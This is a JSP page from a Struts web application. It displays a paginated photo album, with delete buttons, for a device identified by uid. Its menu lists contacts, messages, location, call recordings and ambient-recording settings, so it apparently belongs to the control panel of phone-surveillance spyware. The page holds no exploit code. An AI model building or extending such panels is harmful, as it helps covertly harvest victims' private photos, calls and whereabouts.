<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Simpla Admin</title>
<jsp:include page="css.jsp"></jsp:include>
<jsp:include page="script.jsp"></jsp:include>
<script type="text/javascript">
	var path = '<%=request.getContextPath()%>';

	function goPage(page) {
		document.getElementById("currentPage").value = page;
		document.getElementById("n_form").submit();
	}
	
	function deleteAlbum(_uid,_id){
		$("<div>삭제하시겠습니까?</div>").dialog({
			title:'확인?',
			modal:true,
			resizable:false,
			draggable:false,
			close : function (event) {
				$(this).dialog("destroy");
			}, 
			buttons : {
				'확인':function (event) {
					$(this).dialog("destroy");
					$.ajax({
						type : "GET",
						url : path + "/deleteAlbum.htm",
						data : {
							uid : _uid,
							aid : _id
						},
						dataType : "text",
						success : function(result) {
							if (result == "success") {
								//showAlertDialog("삭제되었습니다!",reload);
								reload();
							} else {
								showAlertDialog("삭제에 실패하였습니다!",null);
							}
						},
						error : function() {
							showAlertDialog("네트워크원인으로 인하여 지연되고있습니다.잠시후 다시 시도해주십시오",null);
						}
					});
				},
				'취소':function (event) {
					$(this).dialog("destroy");
				}
			}
		});
	}
	
	function reload() {
		document.getElementById("n_form").submit();
	}
	
</script>
</head>
<body>
	<div id="body-wrapper">
		<!-- Wrapper for the radial gradient background -->
		<div id="sidebar">
			<div id="sidebar-wrapper">
				<!-- Sidebar with logo and menu -->
				<h1 id="sidebar-title">
					<a href="#">Simpla Admin</a>
				</h1>
				<!-- Logo (221px wide) -->
				<a href="#"><img id="logo" src="<%=request.getContextPath()%>/images/logo.png" alt="Simpla Admin logo" /></a>
				<!-- Sidebar Profile links -->
				<jsp:include page="info.jsp" />
				<ul id="main-nav">
					<!-- Accordion Menu -->
					<li><a href="#" class="nav-top-item current"> 메뉴</a>
						<ul>
							<li><a href="<%=request.getContextPath() %>/contactList.htm?uid=${uid}">전화번호부</a></li>
							<li><a href="<%=request.getContextPath() %>/msgList.htm?uid=${uid}" >메세지</a></li>
							<li><a href="<%=request.getContextPath() %>/album.htm?uid=${uid}" class="current">앨범</a></li>
							<li><a href="<%=request.getContextPath() %>/location.htm?uid=${uid}" >위치정보</a></li>
							<li><a href="<%=request.getContextPath() %>/calllog.htm?uid=${uid}" >통화녹음</a></li>
							<li><a href="<%=request.getContextPath() %>/envRecordList.htm?uid=${uid}" >녹음환경</a></li>
						</ul></li>
					<li><a href="javascript:void();" class="nav-top-item ">개인자료변경</a>
						<ul>
							<li><a href="<%=request.getContextPath()%>/changePwd.htm">비밀번호변경</a></li>
							<li><a href="<%=request.getContextPath()%>/setting.htm?uid=${uid}" >설정</a></li>
							<li><a href="javascript:logout('<%=request.getContextPath()%>');">로그아웃</a></li>
						</ul></li>
				</ul>
			</div>
		</div>
		<!-- End #sidebar -->
		<div id="main-content">
			<!-- Main Content Section with everything -->
			<jsp:include page="noscript.jsp"></jsp:include>
			<div class="clear"></div>
			<!-- End .clear -->
			<div class="content-box">
				<!-- Start Content Box -->
				<div class="content-box-header">
					<h3>앨범</h3>
					<div class="clear"></div>
				</div>
				<!-- End .content-box-header -->
				<div class="content-box-content" style="text-align: center;">
					<ul class="shortcut-buttons-set" style="text-align: center;">
						<s:iterator value="albums.datas" id="item" status="index">
							<li>
								<span class="shortcut-button" style="display:block;margin:0 auto;padding:5px;margin:5px;height:158px;">
									<img src="<%=request.getContextPath()%>/images/cross.png" alt="delete" onclick="deleteAlbum(${uid},<s:property value='#item.id'></s:property>);" style="cursor: pointer; float:right;" />
									<div class="clear"></div>
									<a href="#image<s:property value="#item.id"/>" rel="modal">
										<img style="max-height: 100px; max-width: 100px;margin-bottom: 3px;" src="<%=request.getContextPath()%>/<s:property value="#item.path"/>" alt="icon" />
										<br />
										큰이미지
									</a>
								</span>
								
								<div id="image<s:property value="#item.id"/>" style="display: none;">
									<img  style="max-height: 600px; max-width: 600px;" src="<%=request.getContextPath()%>/<s:property value="#item.path"/>"/>
								</div>	
								</li>
								
						</s:iterator>
					</ul>
					<div style="clear: both;"></div>
					<div>
						<form action="<%=request.getContextPath()%>/album.htm" method="post" id="n_form">
							<div class="pagination">
								<s:if test="albums.currentPage<2">
									<a href="javascript:void();" title="처음페지">&laquo; 처음페지</a>
									<a href="javascript:void();" title="이전">&laquo; 이전</a>
								</s:if>
								<s:else>
									<a href="javascript:goPage(1);" title="처음페지">&laquo; 처음페지</a>
									<a href="javascript:goPage(${albums.currentPage}-1);" title="이전">&laquo; 이전</a>
								</s:else>
								[<b>${albums.currentPage}</b>페지|총<b>${albums.pageCount}</b>페지]
								<s:if test="albums.currentPage>=albums.pageCount">
									<a href="javascript:void();" title="다음">다음 &raquo;</a>
									<a href="javascript:void();" title="마지막페지">마지막페지&raquo;</a>
								</s:if>
								<s:else>
									<a href="javascript:goPage(${albums.currentPage+1});" title="다음">다음 &raquo;</a>
									<a href="javascript:goPage(${albums.pageCount})" title="마지막페지">마지막페지 &raquo;</a>
								</s:else>
							</div>
							<!-- End .pagination -->
							<div class="clear"></div>
							<input type="hidden" name="uid" value="${uid}" /> <input type="hidden" value="${albums.currentPage}" name="cPage" id="currentPage" />
						</form>
					</div>
				</div>
				<!-- End .content-box-content -->
			</div>
			<div class="clear"></div>
			<jsp:include page="footer.jsp"></jsp:include>
			<!-- End #footer -->
		</div>
		<!-- End #main-content -->
	</div>
</body>
<!-- Download From www.exet.tk-->
</html>
